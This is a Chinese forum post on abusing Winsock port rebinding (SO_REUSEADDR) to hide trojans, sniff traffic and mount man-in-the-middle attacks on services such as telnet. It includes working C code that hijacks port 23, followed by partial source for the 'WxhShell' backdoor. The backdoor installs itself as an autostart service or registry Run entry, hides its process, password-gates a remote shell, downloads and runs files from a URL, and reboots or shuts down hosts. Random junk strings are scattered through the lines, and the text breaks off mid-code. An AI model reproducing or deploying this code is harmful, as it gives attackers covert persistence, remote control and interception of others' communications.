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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: am6L8N  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [ub e6  
KF:78C  
  saddr.sin_family = AF_INET; \YrUe1  
,r_Gf5c  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); bW(0Ng  
4;2uW#dG"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); FGBbO\< /  
Yrq~5)%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >Cq<@$I2EB  
mj7#&r,1l  
  这意味着什么?意味着可以进行如下的攻击: 5*u+q2\F  
PXNuL&   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 c'\dFb9a  
gL/9/b4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `C'H.g\>2Q  
#&e-|81H  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *MW\^PR?  
>uEzw4w  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &s>Jb?_5Mx  
="l/klYV  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 b^vQpiz  
) Hr`M B  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 YKK*ER0  
&s!@29DXR  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2=!RQv~%  
]\HvKCN}  
  #include b4Ekqas  
  #include s_p!43\J  
  #include  6(R<{{  
  #include    [AJJSd/:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   nQ3A~ ()  
  int main() Bdpy:'fJn  
  { l,aay-E  
  WORD wVersionRequested; V0a3<6@4  
  DWORD ret; aw&,S"A@  
  WSADATA wsaData; <qt|d&  
  BOOL val; +R75v)  
  SOCKADDR_IN saddr; )NT*bLRPQ  
  SOCKADDR_IN scaddr; +R:(_:7  
  int err; 1s;S aq+  
  SOCKET s; &=mtc%mL  
  SOCKET sc; 6j|{`Zd)G  
  int caddsize; )%fH(ns(  
  HANDLE mt; 7tCw*t$  
  DWORD tid;   goWuw}?  
  wVersionRequested = MAKEWORD( 2, 2 ); \cM2k-  
  err = WSAStartup( wVersionRequested, &wsaData ); lr&a;aZp  
  if ( err != 0 ) { V>rU.Mp QU  
  printf("error!WSAStartup failed!\n"); VuZr:-K/  
  return -1; %E;'ln4h&,  
  } Z0r'S]fe  
  saddr.sin_family = AF_INET; yEy6]f+>+  
   \o3gKoL%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 M X]n&  
ba9?(+i$h  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?:9"X$XR  
  saddr.sin_port = htons(23); 8zq=N#x  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [{/jI\?v  
  { 4s oJ.j8  
  printf("error!socket failed!\n"); @IZnFHN  
  return -1; ?+8\.a!  
  } l9"s>PU  
  val = TRUE; F,CT Z~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %J-GKpo/S  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >y+B  
  { `\ol,B_l  
  printf("error!setsockopt failed!\n"); i,VMd  
  return -1; :[d9tm  
  } b| (: [nB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  ZWm6eD  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xN'I/@ kb  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 a?oI>8*  
`XDl_E+>l  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) RT8 ?7xFc  
  { G^@5H/)  
  ret=GetLastError(); 9W);rL|5  
  printf("error!bind failed!\n"); 7a}k  
  return -1; AQ^u   
  } + >!;i6|  
  listen(s,2); b\,+f n  
  while(1) qZZK#,Qb  
  { )QJUUn#  
  caddsize = sizeof(scaddr); j5h-dK  
  //接受连接请求 m(P]k'ZH?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -D: b*D  
  if(sc!=INVALID_SOCKET) 1{.9uw"2S  
  { X5w$4Kj&4l  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); JlJ a #  
  if(mt==NULL) o5)<$P43  
  { ,`sv1xwd  
  printf("Thread Creat Failed!\n"); iN.n8MN=I  
  break; $<OD31T  
  } z{r}~{{E  
  } HK% 7g  
  CloseHandle(mt); Pc]HP  
  } y<.5xq5_3  
  closesocket(s); ez[Vm:2K  
  WSACleanup(); 4mbBmQV$#  
  return 0; u$`a7Lp,n  
  }   lk=<A"^S  
  DWORD WINAPI ClientThread(LPVOID lpParam) !PE]C!*gv&  
  { 1AFA=t:]p  
  SOCKET ss = (SOCKET)lpParam; NCD04U5y  
  SOCKET sc; dgP3@`YS  
  unsigned char buf[4096]; #p{4^  
  SOCKADDR_IN saddr; "uf%iJ:%  
  long num; *=xr-!MEk  
  DWORD val;  _','9|  
  DWORD ret; c1gQ cqF  
  //如果是隐藏端口应用的话,可以在此处加一些判断 hCo|HB  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   og>uj>H&  
  saddr.sin_family = AF_INET; f,Ghb~y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !TcJ)0   
  saddr.sin_port = htons(23); bN=P*hdf  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -7|H}!DFT  
  { $Z>'Jp  
  printf("error!socket failed!\n"); o;R I*I  
  return -1; A<fG}q1#  
  } 8l">cVo]T  
  val = 100; [.}oyz; }N  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;O #>Y  
  { T6kdS]4-  
  ret = GetLastError(); . 'yCw#f  
  return -1; $`'/+x"%  
  } ^/k*h J{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >5 BJ3Hf  
  { d0 /#nz  
  ret = GetLastError(); Z #m+ObHK1  
  return -1; (Awm9|.{+  
  } G]aOHJ:.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) kvj#c  
  { U`s{Jm  
  printf("error!socket connect failed!\n"); 3=;<$+I6  
  closesocket(sc); Xlt|nX~#;  
  closesocket(ss); >KKMcTOYY  
  return -1; t ZB<on<.)  
  } )WFr</z5bA  
  while(1) *gz{.)W  
  { BD7N i^qI$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 S`]k>' l  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "J3x_~,[4m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,v}k{( 16{  
  num = recv(ss,buf,4096,0); [1H^3g '  
  if(num>0) ijU*|8n{>  
  send(sc,buf,num,0); \lNN Msd&  
  else if(num==0) M"To&?OI  
  break; -35;j'a  
  num = recv(sc,buf,4096,0); (C)p9-,  
  if(num>0) |sZHUf_  
  send(ss,buf,num,0); ~7Ux@Sx;  
  else if(num==0) k~z Iy;AZ  
  break; g#E-pdY  
  } pI<f) r  
  closesocket(ss); l}M!8:UzU  
  closesocket(sc); o[D9I hs  
  return 0 ; Srd4))2/0  
  } dUdT7ixo  
5Jnlz@P9  
E&:,oG2M  
========================================================== J<lO= +mg  
oe~b}:  
下边附上一个代码,,WXhSHELL f(7GX3?  
~flV`wy$$1  
========================================================== +[g,B1jt  
""~ajy  
#include "stdafx.h" UJ6v(:z <  
?!/kZM_ts  
#include <stdio.h> he hFEyx  
#include <string.h> LBP`hK:>W~  
#include <windows.h> y1L,0 ]  
#include <winsock2.h> K\c#ig   
#include <winsvc.h> 3"\lu?-E  
#include <urlmon.h> @pU)_d!pJ  
a C)!T  
#pragma comment (lib, "Ws2_32.lib") x ]ot 2  
#pragma comment (lib, "urlmon.lib") <1M-Ro?5k  
}*"p?L^p{  
#define MAX_USER   100 // 最大客户端连接数 II x#2r  
#define BUF_SOCK   200 // sock buffer qJUK_6|3  
#define KEY_BUFF   255 // 输入 buffer ]e@Oiq  
@Do= k  
#define REBOOT     0   // 重启 ~ W]TD@w  
#define SHUTDOWN   1   // 关机 K", N!koj  
xKp4*[}m  
#define DEF_PORT   5000 // 监听端口 k|d+#u[Mj@  
jo@J}`\Zt  
#define REG_LEN     16   // 注册表键长度 )53y AyP  
#define SVC_LEN     80   // NT服务名长度 $iz|\m  
H$4:lH&(  
// 从dll定义API 7D5]G-}x.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5`:Y ye  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f& '  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N]sAji*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?FcAXA/J{  
icK/],  
// wxhshell配置信息 "'\$ g[k  
struct WSCFG { 3m)y|$R  
  int ws_port;         // 监听端口 um0N)&iY  
  char ws_passstr[REG_LEN]; // 口令 P";'jVcR  
  int ws_autoins;       // 安装标记, 1=yes 0=no 83q6Sv  
  char ws_regname[REG_LEN]; // 注册表键名 ^y%T~dLkp'  
  char ws_svcname[REG_LEN]; // 服务名 n.0fVV-A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ZJs$STJ*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o " #\ >  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 IO-Ow!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [ibu/ W$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vRO _Q?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 wAW5 Z0D  
@<&m|qtMsz  
}; d/DB nZN  
`W*U4?M  
// default Wxhshell configuration D}X\Ca"h  
struct WSCFG wscfg={DEF_PORT, 8-77d^cprR  
    "xuhuanlingzhe", 'Qe;vZ31K  
    1, @s2y~0}#  
    "Wxhshell", W6/yn  
    "Wxhshell", TWFr 4-  
            "WxhShell Service", 3/n5#&c\4  
    "Wrsky Windows CmdShell Service", Jze:[MYS  
    "Please Input Your Password: ", JFk lUgg  
  1, )P|),S,;Z  
  "http://www.wrsky.com/wxhshell.exe", "LTad`]<Ro  
  "Wxhshell.exe" s!7y  
    }; k+pr \d~  
}U"&8%PZr  
// 消息定义模块 W:L AP R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WI-1)1t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; '1s0D]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :Fvrs( x  
char *msg_ws_ext="\n\rExit."; u:_,GQ )\  
char *msg_ws_end="\n\rQuit."; ;;N9>M?b  
char *msg_ws_boot="\n\rReboot..."; @6T/Tdz  
char *msg_ws_poff="\n\rShutdown..."; JnM["Q=`  
char *msg_ws_down="\n\rSave to "; I&W=Q[m  
QB'aON\S  
char *msg_ws_err="\n\rErr!"; }Kbb4]t|"  
char *msg_ws_ok="\n\rOK!"; B ,epzI  
v z '&%(  
char ExeFile[MAX_PATH]; 0.k7oB;f(@  
int nUser = 0; W|63Ir67  
HANDLE handles[MAX_USER]; 7E~;xn;  
int OsIsNt; fS78>*K  
wi6 ~}~%  
SERVICE_STATUS       serviceStatus; uk<9&{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )|=j`jCC  
]-/VHh  
// 函数声明 ?2Py_gkf  
int Install(void); -C?ZB}`   
int Uninstall(void); L0WN\|D  
int DownloadFile(char *sURL, SOCKET wsh); b!5~7Ub.No  
int Boot(int flag); XuM'_FN`A<  
void HideProc(void); 2!=f hN  
int GetOsVer(void); Gu\q%'I  
int Wxhshell(SOCKET wsl); 9m~p0ILh  
void TalkWithClient(void *cs); *wB1,U{  
int CmdShell(SOCKET sock); 4u})+2W  
int StartFromService(void); n8ZZ#}Nhg  
int StartWxhshell(LPSTR lpCmdLine); q'Tf,a  
'@k+4y9q?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %aVq+kC h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); x-&@wMqkc  
|H+UOEiv,p  
// 数据结构和表定义 8NAON5.!  
SERVICE_TABLE_ENTRY DispatchTable[] = 5uj?#)N  
{ CN8Y\<Ar  
{wscfg.ws_svcname, NTServiceMain}, H%Q7D-  
{NULL, NULL} ;u46Z  
}; l?n\i]'  
JO6)-U$7UG  
// 自我安装 g&Vx:fOC  
int Install(void) pJ'"j 6Q  
{ #fn)k1  
  char svExeFile[MAX_PATH]; ,M ^<CJ  
  HKEY key; pYmk1!]/  
  strcpy(svExeFile,ExeFile); %S^8c  
.;`AAH'k  
// 如果是win9x系统,修改注册表设为自启动 K} X&AJ5A  
if(!OsIsNt) { _TQj~W<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }l} Bo.C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :emiQ  
  RegCloseKey(key);  Sw, +p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ig0VW)@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O.M>+~Nw  
  RegCloseKey(key); ,uhb~N<  
  return 0; EaY?aAuS:  
    } kzUIZ/+ZL,  
  } ^'{Fh"5  
} N]=q|D  
else { 8\A#CQ5b  
^KT Y?  
// 如果是NT以上系统,安装为系统服务 scz&h#0V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [MM~H0=s  
if (schSCManager!=0) !Pfr,a  
{ Vd+T$uC  
  SC_HANDLE schService = CreateService 2B&3TLO  
  ( 4*cEag   
  schSCManager, w;:*P  
  wscfg.ws_svcname, !@*7e:l  
  wscfg.ws_svcdisp, `% "\@<  
  SERVICE_ALL_ACCESS, #r~# I}U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ( 2E\p  
  SERVICE_AUTO_START, '/p/8V.O.  
  SERVICE_ERROR_NORMAL, u.m[u)HQ  
  svExeFile, ~/iKh1 1  
  NULL, 9`X\6s  
  NULL, 9Uekvs=r=M  
  NULL, 2*l/3VW  
  NULL, bUdLs.:  
  NULL Q1I6$8:7  
  ); W/bQd)Jvk  
  if (schService!=0) Ee%%d  
  { C]`$AqKl  
  CloseServiceHandle(schService); qv KG-|j  
  CloseServiceHandle(schSCManager); u?<%q!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |a`Sc %  
  strcat(svExeFile,wscfg.ws_svcname); u$Jz~:=,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6@F9G 4<Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ep)n_!$OH"  
  RegCloseKey(key); `V)8 QRN(  
  return 0; +`3)oPV)  
    } ' ;FnIZ  
  } |tMWCA  
  CloseServiceHandle(schSCManager); Kaqc74Mv  
} Vl=l?A8  
} J7Hl\Q[D1  
bP$dU,@p~  
return 1; -[9JJ/7y  
} ;LPfXpR  
b)5uf'?-  
// 自我卸载 Ru!iR#s)!  
int Uninstall(void) H0gbSd+  
{ eFTpnG  
  HKEY key; g<; q.ZylT  
J~ zUp(>K  
if(!OsIsNt) { o!Ieb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w3obIJm  
  RegDeleteValue(key,wscfg.ws_regname); %XoiVlT@:  
  RegCloseKey(key); {{D)YldtA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *-=(Q`3  
  RegDeleteValue(key,wscfg.ws_regname); mt+Oi70  
  RegCloseKey(key); GxI!{oi2  
  return 0; U} e!Wjrc  
  } S.94 edQ  
} K6/Q}W   
} lH x^D;m6  
else { RYQR(v  
t?-n*9,#S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rv^@,8vq  
if (schSCManager!=0) n&;85IF1  
{ TA`1U;c{n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =_ ./~  
  if (schService!=0) bz2ztH9 n  
  { i$:*Pb3mV  
  if(DeleteService(schService)!=0) { ;!mzyb*  
  CloseServiceHandle(schService); L:pYn_  
  CloseServiceHandle(schSCManager); qYjce]c  
  return 0; 2W96Zju\  
  } HV!m8k=6  
  CloseServiceHandle(schService); JPc+rfF  
  } $%CF8\0  
  CloseServiceHandle(schSCManager); +\c5]`  
} k}kQI~S9  
} ?FeYN+qR  
G%AbC"  
return 1; \378rQU  
} 0w \zLU  
7Oa#c<2]  
// 从指定url下载文件 Pg0x/X{t  
int DownloadFile(char *sURL, SOCKET wsh) mzaWST]  
{ vv3* j&I  
  HRESULT hr; 0d"[l@UU0  
char seps[]= "/"; 7$vYo _  
char *token; \FbvHr,  
char *file; mPtZO*Fc  
char myURL[MAX_PATH]; EyD=q! ZVZ  
char myFILE[MAX_PATH]; q77;ZPfs8  
jk; clwyz/  
strcpy(myURL,sURL); +,T RfP Fb  
  token=strtok(myURL,seps); 6S'yZQ |b  
  while(token!=NULL) 8>2.UrC  
  { j9x<Y]  
    file=token; h5{'Q$Erl  
  token=strtok(NULL,seps); 1MP~dRZ$  
  } [LjT*bi  
L%*!`TN  
GetCurrentDirectory(MAX_PATH,myFILE); hYT0l$Ng  
strcat(myFILE, "\\"); W#4 7h7M  
strcat(myFILE, file); @;zl  
  send(wsh,myFILE,strlen(myFILE),0); SIF/-{i(X  
send(wsh,"...",3,0); [fya)}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @Q ]=\N:  
  if(hr==S_OK) zUkgG61  
return 0; LEbB(x;@  
else R[h9"0Y^  
return 1; g|DF[  
q1$N>;&  
} Cx(>RXVoJ,  
Fh?gNSWq6  
// 系统电源模块 ??-[eB.  
int Boot(int flag) 0U(@= 7V  
{ {3>$[bT  
  HANDLE hToken; Ga-k  
  TOKEN_PRIVILEGES tkp; :j9l"5"  
<Dl*l{zba  
  if(OsIsNt) { VuhGx:Xl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *KZYv=s,u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?mwt~_s9  
    tkp.PrivilegeCount = 1; ]^.  _z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; RVnjNy;O`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iW]j9}t  
if(flag==REBOOT) { 8\@m - E!{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :}L[sl\R  
  return 0; ajbA\/\G;  
}  acajHs  
else { [i21FX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zsEc(  
  return 0; 9|^2",V  
} >a!/QMh  
  } )#0O>F~  
  else { q~b  &  
if(flag==REBOOT) { . oF &Ff/[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |sJ[0z  
  return 0; vjbASFF0=  
} f O}pj:  
else { Maha$n*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d\&U*=  
  return 0; /kZebNf6H  
} }Sm(]y  
} z\\[S@>pt  
gD-d29pQ  
return 1; .9/ hHCp  
} R$h<<v)%  
7X`g,b!  
// win9x进程隐藏模块 0#7>o^2  
void HideProc(void) n*R])=F@c  
{ YquI$PV _  
'Cb6Y#6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uanhr)Ys  
  if ( hKernel != NULL ) 8l>?Pv  
  { 6 C1#/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J|W<;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1jmjg~W  
    FreeLibrary(hKernel); JK7G/]j+Ez  
  } A9KET$i@v  
P>y@kPi   
return; :(E@Gf  
} 5N#aXG^9  
A]_7}<<N  
// 获取操作系统版本 pQyK={7?`  
int GetOsVer(void) 2jA{SY-  
{ 5c@,bIl *  
  OSVERSIONINFO winfo; >2Y=*K,:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]{;gw<T  
  GetVersionEx(&winfo); ^rB8? kt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aj-Km`5r}  
  return 1; 6B8VfQ9[  
  else z 4e7PW|  
  return 0; =Pyj%4Rs  
} $f$SNx)),  
P7[h-3+^  
// 客户端句柄模块 frm >4)9+  
int Wxhshell(SOCKET wsl) lne|5{h  
{ BwN0!lsF3  
  SOCKET wsh; pE3?"YO  
  struct sockaddr_in client; vSGH[nyCY  
  DWORD myID; ^)470K`%)  
: p1u(hflS  
  while(nUser<MAX_USER) 7zl5yK N  
{ PF0_8,@U  
  int nSize=sizeof(client); ^Y?k0z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #z'  
  if(wsh==INVALID_SOCKET) return 1; mtpeRVcF  
T )&A2q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [@_Jj3`4  
if(handles[nUser]==0) Ucb F|vkI  
  closesocket(wsh); xBj 9y u  
else 1>.Ev,X+e  
  nUser++; \:P>le'1  
  } DcS+_>a\{l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O"+ gQXe  
,=uD^n:  
  return 0; _kC-dEGf!y  
} !K#qeY}  
a)!o @  
// 关闭 socket b35fs]}u-6  
void CloseIt(SOCKET wsh) xEa\f[.An  
{ HRpte=`q  
closesocket(wsh); f'F?MINJP  
nUser--; Q*GN`07@?d  
ExitThread(0); [ XN={  
} NYhB'C2  
3h]g}&k  
// 客户端请求句柄 Mg+2. 8%  
void TalkWithClient(void *cs) M.JA.I@XC  
{ `T1  
g%aYDl  
  SOCKET wsh=(SOCKET)cs; ),_@WW;k  
  char pwd[SVC_LEN]; TbMW|0 #w  
  char cmd[KEY_BUFF]; \a<wKTkn  
char chr[1]; hy9\57_#  
int i,j; xKbXt;l2  
UklUw  
  while (nUser < MAX_USER) { _OYasJUMG  
l#&8x  
if(wscfg.ws_passstr) { j<upRS,$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v6|RJt?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g%o(+d  
  //ZeroMemory(pwd,KEY_BUFF); OU E (I3_  
      i=0; REQ\>UO_  
  while(i<SVC_LEN) { iG $!6;w<  
XMZ,Y7  
  // 设置超时 {.`vs;U  
  fd_set FdRead; @?ebuj5{e  
  struct timeval TimeOut; ]IaMp788  
  FD_ZERO(&FdRead); ~"gA,e-)  
  FD_SET(wsh,&FdRead); rV.}PtcFY  
  TimeOut.tv_sec=8; ` #0:gEo  
  TimeOut.tv_usec=0; @b\$yB@z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1> ?M>vK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n>z9K')  
IZf{nQ[0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VCYwzB  
  pwd=chr[0]; , };& tR  
  if(chr[0]==0xd || chr[0]==0xa) { 'I|v[G$l  
  pwd=0; j\yjc/m  
  break; H;is/  
  } $L `d&$Vh  
  i++; 'JtBZFq  
    } P-[-pi@  
#I.+aV+2oQ  
  // 如果是非法用户,关闭 socket u$z`   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e v}S+!|U  
} +SzU  
RIR\']WN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x%=si[P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q$L%36u~/  
'$Dn  
while(1) { NCXRevE  
P.se'z)E  
  ZeroMemory(cmd,KEY_BUFF); W<{h,j8  
alJ)^OSIe  
      // 自动支持客户端 telnet标准   2F;y;l%  
  j=0; E#34Wh2z  
  while(j<KEY_BUFF) { s3N'02G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MBK^FR-K  
  cmd[j]=chr[0]; O ;Rqv  
  if(chr[0]==0xa || chr[0]==0xd) { /A\8 mL8  
  cmd[j]=0; !"e5h`/ADM  
  break; B^=-Z8  
  } t3WiomNCc  
  j++; .N;=\C*  
    } TvoyZW\?w  
>-?f0 K  
  // 下载文件 =>S]q71  
  if(strstr(cmd,"http://")) { 5PCqYN(:B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J6"9v;V  
  if(DownloadFile(cmd,wsh)) -]Bq|qTH[(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >tS'Q`R  
  else *][`@@->  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E)&I@m  
  } iO{hA  
  else { 'ycJMYP8  
Ep_HcX`  
    switch(cmd[0]) { OG~gFZr)6  
  W.jGGt\<\  
  // 帮助 @)+AaC#-  
  case '?': { &A/]pi-\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /V8 #[9K  
    break; *tFHM &a  
  } "s-"<&>a(  
  // 安装 2ACCh4(/P  
  case 'i': { H H)!_(SA  
    if(Install()) of~4Q{f$6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &3>)qul  
    else z|uDy2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .#!lP/.eQP  
    break; Y|m +dT6  
    } jwe*(k]z  
  // 卸载 lgAoJ[  
  case 'r': { g9pZ\$J&  
    if(Uninstall()) h f)?1z4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mM~qBrwL  
    else @n/\L<]t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iozt&~o  
    break; X #dmo/L8  
    } hNiE\x  
  // 显示 wxhshell 所在路径 ^#-l q)  
  case 'p': { D8Ic?:iX[  
    char svExeFile[MAX_PATH]; dbLZc$vPj  
    strcpy(svExeFile,"\n\r"); YDsb3X<0'  
      strcat(svExeFile,ExeFile); ;V_e>TyG  
        send(wsh,svExeFile,strlen(svExeFile),0); GAzU?a{S  
    break; H'5)UX@LP  
    } eIF5ZPSZi  
  // 重启 ?,Xw[pR  
  case 'b': { je-!4r,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ty\R=y}}  
    if(Boot(REBOOT)) ;C#F>SG\S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HWAdhDZ  
    else { m@j?za9s  
    closesocket(wsh); M^Yh|%M  
    ExitThread(0); ssA`I<p#  
    } A  'be8  
    break; 7"D", 1h  
    } XW H5d-  
  // 关机 SR hiQ  
  case 'd': { c ]-<vkpV  
